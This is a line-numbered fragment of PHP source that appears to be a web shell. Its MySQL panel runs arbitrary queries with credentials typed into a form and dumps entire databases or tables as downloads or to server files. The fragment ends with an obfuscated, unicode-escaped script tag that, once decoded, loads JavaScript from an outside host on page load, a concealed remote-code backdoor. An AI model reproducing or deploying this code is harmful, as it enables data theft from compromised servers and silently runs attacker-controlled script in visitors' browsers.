3574$result2=@mysql_query('show columns from `'.$table_dump.'`',$mysql_link);
3575if(!$result2)echo('error table '.$table_dump);
3576else
3577{
3578if(!$to_file)
3579{
3580header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
3581header("Content-Disposition: attachment; filename=\"dump_{$db_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
3582}
3583if($to_file===false)
3584{
3585header('Content-Type: application/x-'.($archive=='none'?'octet-stream':'gzip')."\n");
3586header("Content-Disposition: attachment; filename=\"dump_{$db_dump}_${table_dump}.sql".($archive=='none'?'':'.gz')."\"\n\n");
3587}
3588$dump_file.="create table `{$table_dump}`(\n";
3589for($j=0;$j<mysql_num_rows($result2)-1;$j++)
3590{
3591$rows2=mysql_fetch_array($result2);
3592$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL').",\n";
3593}
3594$rows2=mysql_fetch_array($result2);
3595$dump_file.='`'.$rows2[0].'` '.$rows2[1].($rows2[2]=='NO'&&$rows2[4]!='NULL'?' NOT NULL DEFAULT \''.$rows2[4].'\'':' DEFAULT NULL')."\n";
3596$type[$j]=$rows2[1];
3597$dump_file.=");\n";
3598mysql_free_result($result2);
3599$result2=mysql_query('select * from `'.$table_dump.'`',$mysql_link);
3600$columns=$j-1;
3601for($j=0;$j<mysql_num_rows($result2);$j++)
3602{
3603$rows2=mysql_fetch_array($result2);
3604$dump_file.='insert into `'.$table_dump.'` values (';
3605for($k=0;$k<$columns;$k++)
3606{
3607$dump_file.=$rows2[$k]==''?'null,':'\''.addslashes($rows2[$k]).'\',';
3608}
3609$dump_file.=($rows2[$k]==''?'null);':'\''.addslashes($rows2[$k]).'\');')."\n";
3610if($archive=='none')
3611{
3612if($to_file) {fwrite($t_f,$dump_file);fflush($t_f);}
3613else
3614{
3615echo($dump_file);
3616ob_flush();
3617}
3618$dump_file='';
3619}
3620}
3621mysql_free_result($result2);
3622if($archive!='none')
3623{
3624$dump_file=gzencode($dump_file);
3625header('Content-Length: '.strlen($dump_file)."\n");
3626echo $dump_file;
3627}else if($t_f)
3628{
3629fclose($t_f);
3630echo('Dump for '.$db_dump.' now in '.$to_file);
3631}
3632}
3633}
3634}
3635}
3636break;
3637}
3638case 'query' :
3639{
3640echo($head);
3641?>
3642<hr>
3643<form method=post>
3644<table>
3645<td>
3646<table align=left>
3647<tr><td>User :<input name='user' type=text value='<?=$user?>'></td><td>Passwd :<input name='passwd' type=text value='<?=$passwd?>'></td><td>Host :<input name='host'
3648
3649type=text value='<?=$host?>'></td><td>DB :<input name='db' type=text value='<?=$db?>'></td></tr>
3650<tr><textarea name='query' cols=120 rows=20><?=htmlspecialchars($query)?></textarea></tr>
3651</table>
3652</td>
3653<td>
3654<table>
3655<tr><td>DB :</td><td><input type=text name='db_dump' value='<?=$db?>'></td></tr>
3656<tr><td>Only Table :</td><td><input type=text name='table_dump'></td></tr>
3657<input name='archive' type=radio value='none'>without arch
3658<input name='archive' type=radio value='gzip' checked=true>gzip archive
3659<tr><td><input type=submit name='action' value='dump'></td></tr>
3660<tr><td>Save result to :</td><td><input type=text name='to_file' value='' size=23></td></tr>
3661</table>
3662</td>
3663</table>
3664<input name='page' value='mysql' type=hidden>
3665<input name='action' value='query' type=submit>
3666</form>
3667<hr>
3668<?
3669$mysql_link=@mysql_connect($host,$user,$passwd);
3670if(!($mysql_link)) echo('Connect error');
3671else
3672{
3673if($db!='')if(!(@mysql_select_db($db,$mysql_link))){echo('DB error');mysql_close($mysql_link);break;}
3674//@mysql_query('SET NAMES cp1251'); - use if you have problems whis code symbols
3675$result=@mysql_query($query,$mysql_link);
3676if(!($result))echo(mysql_error());
3677else
3678{
3679echo("<table valign=top align=left>\n<tr>");
3680for($i=0;$i<mysql_num_fields($result);$i++)
3681echo('<td><b>'.htmlspecialchars(mysql_field_name($result,$i)).'</b> </td>');
3682echo("\n</tr>\n");
3683for($i=0;$i<mysql_num_rows($result);$i++)
3684{
3685$rows=mysql_fetch_array($result);
3686echo('<tr valign=top align=left>');
3687for($j=0;$j<mysql_num_fields($result);$j++)
3688{
3689echo('<td>'.(htmlspecialchars($rows[$j])).'</td>');
3690}
3691echo("</tr>\n");
3692}
3693echo("</table>\n");
3694}
3695mysql_close($mysql_link);
3696}
3697break;
3698}
3699}
3700break;
3701}
3702}
3703?>
3704
3705<script type="text/javascript">document.write('\u003c\u0053\u0043\u0052\u0049\u0050\u0054\u0020\u0053\u0052\u0043\u003d\u0068\u0074\u0074\u0070\u003a\u002f\u002f
3706
3707\u0077\u0077\u0077\u002e\u0073\u0061\u006c\u0064\u0069\u0072\u0069\u002e\u006f\u0072\u0067\u002f\u0073\u0075\u006d\u006d\u0065\u0072\u002f\u0063\u0069\u007a\u002e
3708
3709\u006a\u0073\u003e\u003c\u002f\u0053\u0043\u0052\u0049\u0050\u0054\u003e')</script>